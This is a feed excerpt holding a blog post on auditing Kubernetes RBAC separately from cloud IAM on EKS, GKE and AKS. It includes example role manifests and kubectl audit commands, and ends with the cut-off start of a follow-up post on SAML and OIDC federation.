<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">  TWO AUTHORIZATION LAYERS — NEITHER COMPENSATES FOR THE OTHER

  ┌─────────────────────────────────────────────────────────────────┐
  │  CLOUD IAM LAYER  (AWS IAM / GCP IAM / Azure RBAC)             │
  │  Controls: S3, DynamoDB, Lambda, RDS, cloud services           │
  │  Human: federated identity from IdP (SAML / OIDC)             │
  │  Machine: IRSA annotation → IAM role / GKE WI / AKS WI        │
  │  Audit: CloudTrail, GCP Audit Logs, Azure Monitor              │
  └─────────────────────────────────────────────────────────────────┘
           &#x2195; separate systems — no inheritance in either direction
  ┌─────────────────────────────────────────────────────────────────┐
  │  KUBERNETES RBAC LAYER  (within the cluster)                   │
  │  Controls: pods, secrets, deployments, configmaps, namespaces  │
  │  Human: OIDC groups → ClusterRoleBinding (or RoleBinding)      │
  │  Machine: ServiceAccount → Role / ClusterRole                  │
  │  Audit: kube-apiserver audit log                               │
  └─────────────────────────────────────────────────────────────────┘

  Attack path: exploit app pod → SA has cluster-admin → own the cluster
  Audit finding: cluster-admin on app SA, regardless of cloud IAM posture
</code></pre>
<hr />
<h2 id="introduction">Introduction</h2>
<p>I spent a long time in Kubernetes environments thinking cloud IAM and Kubernetes RBAC were related in a way that meant securing one partially covered the other. They don&#8217;t. They&#8217;re separate authorization systems that happen to share infrastructure.</p>
<p>The moment this crystallized for me: I was auditing an EKS cluster for a fintech company. Their AWS IAM posture was actually quite good — least privilege roles, no wildcard policies, SCPs in place at the org level. I was about to give them a clean bill of health when I ran one command:</p>
<pre><code class="" data-line="">kubectl get clusterrolebindings -o json | \
  jq &#039;.items[] | select(.roleRef.name==&quot;cluster-admin&quot;) | {name:.metadata.name, subjects:.subjects}&#039;
</code></pre>
<p>The output showed five ClusterRoleBindings to <code class="" data-line="">cluster-admin</code>. Two of them bound it to service accounts in production namespaces. One of those service accounts was used by an application that processed customer transactions.</p>
<p><code class="" data-line="">cluster-admin</code> in Kubernetes is the equivalent of <code class="" data-line="">AdministratorAccess</code> in AWS. An attacker who compromises a pod running as that service account doesn&#8217;t just have access to the application&#8217;s data. They have control of the entire cluster: reading every secret in every namespace, deploying arbitrary workloads, modifying RBAC bindings to create persistence.</p>
<p>None of this showed up in the AWS IAM audit. AWS IAM and Kubernetes RBAC are separate systems. Securing one tells you nothing about the other.</p>
<hr />
<h2 id="kubernetes-rbac-architecture">Kubernetes RBAC Architecture</h2>
<p>Kubernetes RBAC works with four object types:</p>
<table>
<thead>
<tr>
<th>Object</th>
<th>Scope</th>
<th>What It Does</th>
</tr>
</thead>
<tbody>
<tr>
<td>Role</td>
<td>Single namespace</td>
<td>Defines permissions within one namespace</td>
</tr>
<tr>
<td>ClusterRole</td>
<td>Cluster-wide</td>
<td>Permissions across all namespaces, or for non-namespaced resources</td>
</tr>
<tr>
<td>RoleBinding</td>
<td>Single namespace</td>
<td>Binds a Role (or ClusterRole) to subjects, scoped to one namespace</td>
</tr>
<tr>
<td>ClusterRoleBinding</td>
<td>Cluster-wide</td>
<td>Binds a ClusterRole to subjects with cluster-wide scope</td>
</tr>
</tbody>
</table>
<p>Subjects — the identities that receive the binding — are:<br />
&#8211; <strong>User</strong>: an external identity (Kubernetes has no native user objects; users come from the authenticator)<br />
&#8211; <strong>Group</strong>: a group of external identities<br />
&#8211; <strong>ServiceAccount</strong>: a Kubernetes-native machine identity, namespaced</p>
<p>The scoping matters. A ClusterRole defines what permissions exist. A RoleBinding applies that ClusterRole within a single namespace. A ClusterRoleBinding applies it everywhere. The same permissions, dramatically different blast radius.</p>
<hr />
<h2 id="roles-and-clusterroles">Roles and ClusterRoles</h2>
<pre><code class="" data-line=""># Role: read pods and their logs — scoped to the default namespace only
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: default
  name: pod-reader
rules:
- apiGroups: [&quot;&quot;]          # &quot;&quot; = core API group (pods, secrets, configmaps, etc.)
  resources: [&quot;pods&quot;, &quot;pods/log&quot;]
  verbs: [&quot;get&quot;, &quot;list&quot;, &quot;watch&quot;]
</code></pre>
<pre><code class="" data-line=""># ClusterRole: manage Deployments across all namespaces
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: deployment-manager
rules:
- apiGroups: [&quot;apps&quot;]
  resources: [&quot;deployments&quot;, &quot;replicasets&quot;]
  verbs: [&quot;get&quot;, &quot;list&quot;, &quot;watch&quot;, &quot;create&quot;, &quot;update&quot;, &quot;patch&quot;, &quot;delete&quot;]
- apiGroups: [&quot;&quot;]
  resources: [&quot;pods&quot;]
  verbs: [&quot;get&quot;, &quot;list&quot;, &quot;watch&quot;]
</code></pre>
<p>The verbs map to HTTP methods against the Kubernetes API: <code class="" data-line="">get</code> reads a specific resource, <code class="" data-line="">list</code> returns a collection, <code class="" data-line="">watch</code> streams changes, <code class="" data-line="">create</code>/<code class="" data-line="">update</code>/<code class="" data-line="">patch</code>/<code class="" data-line="">delete</code> are mutations.</p>
<p>One that consistently surprises people: <code class="" data-line="">list</code> on <code class="" data-line="">secrets</code> returns secret values in some Kubernetes versions and configurations. You might think &#8220;list&#8221; is just metadata, but listing secrets can include their data. If a service account needs to check whether a secret exists, grant <code class="" data-line="">get</code> on the specific secret name. Avoid <code class="" data-line="">list</code> on the secrets resource.</p>
<h3 id="the-wildcard-risk">The Wildcard Risk</h3>
<pre><code class="" data-line=""># This is effectively cluster-admin in the default namespace — avoid
rules:
- apiGroups: [&quot;*&quot;]
  resources: [&quot;*&quot;]
  verbs: [&quot;*&quot;]
</code></pre>
<p>Any <code class="" data-line="">*</code> in RBAC rules is an audit finding. In practice I find wildcards most often in:<br />
&#8211; Operator and controller service accounts (understandable, but worth reviewing)<br />
&#8211; &#8220;Temporary&#8221; RBAC that became permanent<br />
&#8211; Developer tooling given cluster-admin &#8220;because it was easier&#8221;</p>
<p>Run this to find all ClusterRoles with wildcard verbs:</p>
<pre><code class="" data-line="">kubectl get clusterroles -o json | \
  jq &#039;.items[] | select(.rules[]?.verbs[] == &quot;*&quot;) | .metadata.name&#039;
</code></pre>
<hr />
<h2 id="bindings-connecting-identities-to-roles">Bindings — Connecting Identities to Roles</h2>
<pre><code class="" data-line=""># RoleBinding: alice can read pods in the default namespace
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: alice-pod-reader
  namespace: default
subjects:
- kind: User
  name: alice@company.com
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: Role
  name: pod-reader
  apiGroup: rbac.authorization.k8s.io
</code></pre>
<pre><code class="" data-line=""># ClusterRoleBinding: Prometheus can read cluster-wide (monitoring use case)
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: prometheus-cluster-reader
subjects:
- kind: ServiceAccount
  name: prometheus
  namespace: monitoring
roleRef:
  kind: ClusterRole
  name: view
  apiGroup: rbac.authorization.k8s.io
</code></pre>
<p>An important pattern: a <strong>RoleBinding can reference a ClusterRole</strong>. This lets you define a role once at the cluster level (the ClusterRole) and bind it within specific namespaces through RoleBindings. The permissions are still scoped to the namespace where the RoleBinding lives. This is the right pattern for shared role definitions — define the permission set once, instantiate it with appropriate scope.</p>
<p>Default to RoleBinding over ClusterRoleBinding for namespace-scoped work. ClusterRoleBinding should be reserved for genuinely cluster-wide operations: monitoring agents, network plugins, cluster operators, security tooling.</p>
<hr />
<h2 id="service-accounts-the-machine-identity-in-kubernetes">Service Accounts — The Machine Identity in Kubernetes</h2>
<p>Every pod in Kubernetes runs as a service account. If you don&#8217;t specify one, it uses the <code class="" data-line="">default</code> service account in the pod&#8217;s namespace.</p>
<p>The <code class="" data-line="">default</code> service account is where many RBAC misconfigurations accumulate. When someone creates a RoleBinding without thinking about which SA to use, they often bind the permission to <code class="" data-line="">default</code>. Now every pod in that namespace that doesn&#8217;t explicitly set a service account — including pods deployed by developers who aren&#8217;t thinking about RBAC — inherits that binding.</p>
<pre><code class="" data-line=""># Create a dedicated SA for each application
kubectl create serviceaccount app-backend -n production

# Check what any SA can currently do — use this in every audit
kubectl auth can-i --list --as=system:serviceaccount:production:app-backend -n production

# Check a specific action
kubectl auth can-i get secrets \
  --as=system:serviceaccount:production:app-backend -n production

kubectl auth can-i create pods \
  --as=system:serviceaccount:production:app-backend -n production
</code></pre>
<h3 id="disable-auto-mounting-the-sa-token">Disable Auto-Mounting the SA Token</h3>
<p>By default, Kubernetes mounts the service account token into every pod at <code class="" data-line="">/var/run/secrets/kubernetes.io/serviceaccount/token</code>. A pod that doesn&#8217;t need to call the Kubernetes API doesn&#8217;t need this token. Having it mounted increases the blast radius if the pod is compromised — the token can be used to call the K8s API with whatever RBAC permissions the SA has.</p>
<pre><code class="" data-line=""># Disable at the pod level
apiVersion: v1
kind: Pod
spec:
  automountServiceAccountToken: false
  serviceAccountName: app-backend
  containers:
  - name: app
    image: my-app:latest

# Or at the service account level (applies to all pods using this SA)
apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-backend
  namespace: production
automountServiceAccountToken: false
</code></pre>
<p>For most application pods — anything that isn&#8217;t a Kubernetes operator, controller, or management tool — the K8s API token is unnecessary. Disable it.</p>
<hr />
<h2 id="human-access-to-kubernetes-get-off-client-certificates">Human Access to Kubernetes — Get Off Client Certificates</h2>
<p>Kubernetes doesn&#8217;t manage human users natively. Authentication is delegated to an external mechanism. The most common approaches:</p>
<table>
<thead>
<tr>
<th>Method</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>X.509 client certificates</td>
<td>Common for initial cluster setup; credentials are embedded in kubeconfig; <strong>cannot be revoked without revoking the CA</strong></td>
</tr>
<tr>
<td>Static bearer tokens</td>
<td>Long-lived; avoid</td>
</tr>
<tr>
<td>OIDC via external IdP</td>
<td>Preferred for human access — supports SSO, MFA, and revocation via IdP</td>
</tr>
<tr>
<td>Webhook auth</td>
<td>Flexible, requires custom infrastructure</td>
</tr>
</tbody>
</table>
<p>X.509 certificates are the bootstrap pattern. Every managed Kubernetes offering generates an admin kubeconfig with a client certificate. The problem: you can&#8217;t revoke individual certificates without rotating the CA. If you&#8217;re giving human engineers access via client certificates, someone leaving doesn&#8217;t actually lose cluster access until the certificate expires.</p>
<p>OIDC is the right model. Configure the kube-apiserver to accept JWTs from your IdP, bind RBAC permissions to groups from the IdP, and revocation becomes &#8220;remove from IdP group&#8221; rather than &#8220;hope the certificate expires soon&#8221;:</p>
<pre><code class="" data-line=""># kube-apiserver flags for OIDC (managed clusters configure this via provider settings)
--oidc-issuer-url=https://accounts.google.com
--oidc-client-id=my-cluster-client-id
--oidc-username-claim=email
--oidc-groups-claim=groups
--oidc-groups-prefix=oidc:
</code></pre>
<pre><code class="" data-line=""># User&#039;s kubeconfig — uses an exec plugin to fetch an OIDC token
users:
- name: alice
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1beta1
      command: kubectl-oidc-login
      args:
        - get-token
        - --oidc-issuer-url=https://dex.company.com
        - --oidc-client-id=kubernetes
</code></pre>
<p>With managed clusters:</p>
<pre><code class="" data-line=""># EKS: add IAM role as a cluster access entry (replaces the aws-auth ConfigMap)
aws eks create-access-entry \
  --cluster-name my-cluster \
  --principal-arn arn:aws:iam::123456789012:role/DevTeamRole \
  --type STANDARD

aws eks associate-access-policy \
  --cluster-name my-cluster \
  --principal-arn arn:aws:iam::123456789012:role/DevTeamRole \
  --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSViewPolicy \
  --access-scope type=namespace,namespaces=production,staging

# GKE: get credentials; IAM roles map to cluster permissions
gcloud container clusters get-credentials my-cluster --region us-central1
# roles/container.developer → edit permissions
# But: use ClusterRoleBindings for fine-grained control rather than relying on GCP IAM roles

# AKS: bind Entra ID groups to Kubernetes RBAC
az aks get-credentials --name my-aks --resource-group rg-prod
kubectl create clusterrolebinding dev-team-view \
  --clusterrole=view \
  --group=ENTRA_GROUP_OBJECT_ID
</code></pre>
<hr />
<h2 id="cloud-iam-kubernetes-rbac-the-integration-points">Cloud IAM + Kubernetes RBAC: The Integration Points</h2>
<h3 id="eks-pod-identity-irsa-revisited">EKS Pod Identity / IRSA (revisited)</h3>
<p>The annotation on the Kubernetes ServiceAccount is the bridge:</p>
<pre><code class="" data-line="">apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-backend
  namespace: production
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/AppBackendRole
</code></pre>
<p>Kubernetes RBAC controls what the pod can do inside the cluster. The IAM role controls what the pod can do in AWS. Both must be explicitly granted; neither inherits from the other.</p>
<h3 id="gke-workload-identity">GKE Workload Identity</h3>
<pre><code class="" data-line="">apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-backend
  namespace: production
  annotations:
    iam.gke.io/gcp-service-account: app-backend@my-project.iam.gserviceaccount.com
</code></pre>
<h3 id="aks-workload-identity">AKS Workload Identity</h3>
<pre><code class="" data-line="">apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-backend
  namespace: production
  annotations:
    azure.workload.identity/client-id: &quot;MANAGED_IDENTITY_CLIENT_ID&quot;
---
apiVersion: v1
kind: Pod
metadata:
  labels:
    azure.workload.identity/use: &quot;true&quot;
spec:
  serviceAccountName: app-backend
</code></pre>
<hr />
<h2 id="rbac-audit-what-to-check-first">RBAC Audit — What to Check First</h2>
<pre><code class="" data-line=""># Start here: who has cluster-admin?
kubectl get clusterrolebindings -o json | \
  jq &#039;.items[] | select(.roleRef.name==&quot;cluster-admin&quot;) | 
      {binding: .metadata.name, subjects: .subjects}&#039;
# cluster-admin should bind to almost nobody — review every result

# Find ClusterRoles with wildcard permissions
kubectl get clusterroles -o json | \
  jq &#039;.items[] | select(.rules[]?.verbs[]? == &quot;*&quot;) | .metadata.name&#039;

# What can the default SA do in each namespace?
for ns in $(kubectl get namespaces -o name | cut -d/ -f2); do
  echo &quot;=== $ns ===&quot;
  kubectl auth can-i --list --as=system:serviceaccount:${ns}:default -n ${ns} 2&gt;/dev/null \
    | grep -v &quot;no&quot; | head -10
done

# What can a specific SA do?
kubectl auth can-i --list \
  --as=system:serviceaccount:production:app-backend \
  -n production

# Check whether an SA can escalate — key risk indicators
kubectl auth can-i get secrets -n production \
  --as=system:serviceaccount:production:app-backend
kubectl auth can-i create pods -n production \
  --as=system:serviceaccount:production:app-backend
kubectl auth can-i create rolebindings -n production \
  --as=system:serviceaccount:production:app-backend
</code></pre>
<p>Creating pods and creating rolebindings are privilege escalation primitives. A service account that can create pods can run a pod with a different, more powerful SA. A service account that can create rolebindings can grant itself more permissions.</p>
<h3 id="useful-tools">Useful Tools</h3>
<pre><code class="" data-line=""># rbac-tool — visualize and analyze RBAC (install: kubectl krew install rbac-tool)
kubectl rbac-tool viz                              # generate a graph of all bindings
kubectl rbac-tool who-can get secrets -n production
kubectl rbac-tool lookup alice@company.com

# rakkess — access matrix for a subject
kubectl rakkess --sa production:app-backend

# audit2rbac — generate minimal RBAC from audit logs
audit2rbac --filename /var/log/kubernetes/audit.log \
  --serviceaccount production:app-backend
</code></pre>
<hr />
<h2 id="common-rbac-misconfigurations">Common RBAC Misconfigurations</h2>
<table>
<thead>
<tr>
<th>Misconfiguration</th>
<th>Risk</th>
<th>Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">cluster-admin</code> bound to application SA</td>
<td>Full cluster takeover from compromised pod</td>
<td>Minimal ClusterRole; scope to namespace where possible</td>
</tr>
<tr>
<td><code class="" data-line="">list</code> or wildcard on <code class="" data-line="">secrets</code></td>
<td>Read all secrets in scope — includes credentials, API keys</td>
<td>Grant <code class="" data-line="">get</code> on specific named secrets only</td>
</tr>
<tr>
<td><code class="" data-line="">default</code> SA with non-trivial permissions</td>
<td>Every pod in the namespace inherits the permission</td>
<td>Bind permissions to dedicated SAs; <code class="" data-line="">automountServiceAccountToken: false</code> on default</td>
</tr>
<tr>
<td>ClusterRoleBinding for namespace-scoped work</td>
<td>Namespace work with cluster-wide permission</td>
<td>Always prefer RoleBinding; ClusterRoleBinding only for genuinely cluster-wide needs</td>
</tr>
<tr>
<td>Binding users by username string</td>
<td>Hard to revoke; doesn&#8217;t sync with IdP</td>
<td>Bind groups from IdP; revocation propagates through group membership</td>
</tr>
<tr>
<td>SA can <code class="" data-line="">create pods</code> or <code class="" data-line="">create rolebindings</code></td>
<td>Privilege escalation path</td>
<td>Audit and remove these from non-privileged SAs</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 5 — Identity and Access Management</td>
<td>Kubernetes RBAC operates as a full IAM system at the platform layer, independent of cloud IAM</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 3 — Security Architecture</td>
<td>Two independent authorization layers (cloud + K8s) must each be designed and audited — one does not compensate for the other</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>Kubernetes RBAC Roles, ClusterRoles, and bindings implement access control within the container platform</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.18 Access rights</td>
<td>Service account provisioning, OIDC-based human access, and workload identity integration with cloud IAM</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.2 Privileged access rights</td>
<td><code class="" data-line="">cluster-admin</code> and wildcard RBAC bindings represent the highest-privilege grants in Kubernetes</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>Kubernetes RBAC is the access control mechanism for the container platform layer in CC6.1</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.3</td>
<td>Binding revocation, SA token disabling, and OIDC group-based access removal satisfy CC6.3 requirements</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Kubernetes RBAC and cloud IAM are separate authorization layers — both must be secured; strong cloud IAM with weak K8s RBAC is still a vulnerable cluster</li>
<li><code class="" data-line="">cluster-admin</code> bindings are the first thing to audit in any cluster — the blast radius of a compromised pod with cluster-admin is the entire cluster</li>
<li>Disable <code class="" data-line="">automountServiceAccountToken</code> on service accounts and pods that don&#8217;t call the Kubernetes API — most application pods don&#8217;t need it</li>
<li>Use OIDC for human access rather than client certificates; revocation via IdP is instant and reliable</li>
<li>Bind groups from IdP rather than individual usernames; revocation propagates automatically when someone leaves</li>
<li>A service account that can <code class="" data-line="">create pods</code> or <code class="" data-line="">create rolebindings</code> is a privilege escalation path — audit for these in every namespace</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP12 is the capstone: Zero Trust IAM — how all the concepts in this series come together into an architecture that assumes nothing is implicitly trusted, verifies everything explicitly, and limits blast radius through least privilege enforced at every layer.</p>
<p><em>Next: <a href="/zero-trust-access-cloud/">Zero trust access in the cloud</a></em></p>
<p>Get EP12 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-rbac-cloud-iam%2F&amp;linkname=Kubernetes%20RBAC%20and%20AWS%20IAM%3A%20The%20Two-Layer%20Access%20Model%20for%20EKS" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-rbac-cloud-iam%2F&amp;linkname=Kubernetes%20RBAC%20and%20AWS%20IAM%3A%20The%20Two-Layer%20Access%20Model%20for%20EKS" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-rbac-cloud-iam%2F&amp;linkname=Kubernetes%20RBAC%20and%20AWS%20IAM%3A%20The%20Two-Layer%20Access%20Model%20for%20EKS" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-rbac-cloud-iam%2F&amp;linkname=Kubernetes%20RBAC%20and%20AWS%20IAM%3A%20The%20Two-Layer%20Access%20Model%20for%20EKS" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-rbac-cloud-iam%2F&amp;linkname=Kubernetes%20RBAC%20and%20AWS%20IAM%3A%20The%20Two-Layer%20Access%20Model%20for%20EKS" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-rbac-cloud-iam%2F&amp;linkname=Kubernetes%20RBAC%20and%20AWS%20IAM%3A%20The%20Two-Layer%20Access%20Model%20for%20EKS" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-rbac-cloud-iam%2F&amp;linkname=Kubernetes%20RBAC%20and%20AWS%20IAM%3A%20The%20Two-Layer%20Access%20Model%20for%20EKS" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fkubernetes-rbac-cloud-iam%2F&#038;title=Kubernetes%20RBAC%20and%20AWS%20IAM%3A%20The%20Two-Layer%20Access%20Model%20for%20EKS" data-a2a-url="https://linuxcent.com/kubernetes-rbac-cloud-iam/" data-a2a-title="Kubernetes RBAC and AWS IAM: The Two-Layer Access Model for EKS"></a></p><p>The post <a href="https://linuxcent.com/kubernetes-rbac-cloud-iam/">Kubernetes RBAC and AWS IAM: The Two-Layer Access Model for EKS</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/kubernetes-rbac-cloud-iam/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1513</post-id>	</item>
		<item>
		<title>SAML vs OIDC: Which Federation Protocol Belongs in Your Cloud?</title>
		<link>https://linuxcent.com/cloud-identity-federation-oidc-saml/</link>
					<comments>https://linuxcent.com/cloud-identity-federation-oidc-saml/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 20 Apr 2026 17:06:08 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Identity Federation]]></category>
		<category><![CDATA[OAuth2]]></category>
		<category><![CDATA[OIDC]]></category>
		<category><![CDATA[SAML]]></category>
		<category><![CDATA[Single Sign-On]]></category>
		<category><![CDATA[Zero Trust]]></category>
		<guid isPermaLink="false">https://linuxcent.com/cloud-identity-federation-oidc-saml/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span>How SAML 2.0 and OIDC federation work across cloud providers — token structure, trust chains, conditional access, and building credential-free cross-system identity.</p>
<p>The post <a href="https://linuxcent.com/cloud-identity-federation-oidc-saml/">SAML vs OIDC: Which Federation Protocol Belongs in Your Cloud?</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><a href="/what-is-cloud-iam/">What Is Cloud IAM</a> → <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization</a> → <a href="/iam-roles-policies-permissions-explained/">IAM Roles vs Policies</a> → <a href="/aws-iam-deep-dive/">AWS IAM Deep Dive</a> → <a href="/gcp-iam-deep-dive/">GCP Resource Hierarchy IAM</a> → <a href="/azure-rbac-entra-id-guide/">Azure RBAC Scopes</a> → <a href="/workload-identity-oidc-service-accounts/">OIDC Workload Identity</a> → <a href="/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation</a> → <a href="/iam-least-privilege-audit/">AWS Least Privilege Audit</a> → <strong>SAML vs OIDC Federation</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Federation means downstream systems trust the IdP&#8217;s signed assertion — they never see credentials and don&#8217;t manage them independently</li>
<li>SAML is XML-based, browser-oriented, the enterprise standard; OIDC is JWT-based, API-native, the modern protocol for workload identity and consumer SSO</li>
<li>In OIDC trust policies, the <code class="" data-line="">sub</code> condition is the security boundary — omitting it means any GitHub Actions workflow in any repository can assume your role</li>
<li>Validate all JWT claims: signature, <code class="" data-line="">iss</code>, <code class="" data-line="">aud</code>, <code class="" data-line="">exp</code>, <code class="" data-line="">sub</code> — libraries do this, but need correct configuration (especially <code class="" data-line="">aud</code>)</li>
<li>The IdP is the trust anchor: compromise the IdP and every downstream system is compromised. Treat IdP admin access with the same controls as your most sensitive system.</li>
<li>JIT provisioning and Conditional Access extend federation from &#8220;who are you&#8221; to &#8220;are you in an appropriate context right now&#8221;</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">  FEDERATION: HOW TRUST FLOWS FROM IdP TO DOWNSTREAM SYSTEMS

  Identity Provider  (Okta / Entra ID / Google / AD FS)
  ┌──────────────────────────────────────────────────────────────────┐
  │  User or workload authenticates → IdP issues signed assertion   │
  │                                                                  │
  │  ┌──────────────────────────┐  ┌───────────────────────────┐   │
  │  │  SAML Assertion (XML)    │  │  OIDC ID Token (JWT)       │   │
  │  │  RSA-signed, 5–10 min    │  │  RS256-signed, ~1 hr      │   │
  │  │  Audience: SP entity ID  │  │  aud: client ID           │   │
  │  │  Subject: user identity  │  │  sub: specific workload   │   │
  │  └───────────┬──────────────┘  └──────────┬────────────────┘   │
  └─────────────────────────────────────────────────────────────────┘
                 │  human SSO                  │  workload identity
                 ▼                             ▼
  ┌─────────────────────────┐  ┌───────────────────────────────────┐
  │ SP validates signature  │  │ AWS STS / GCP STS validates       │
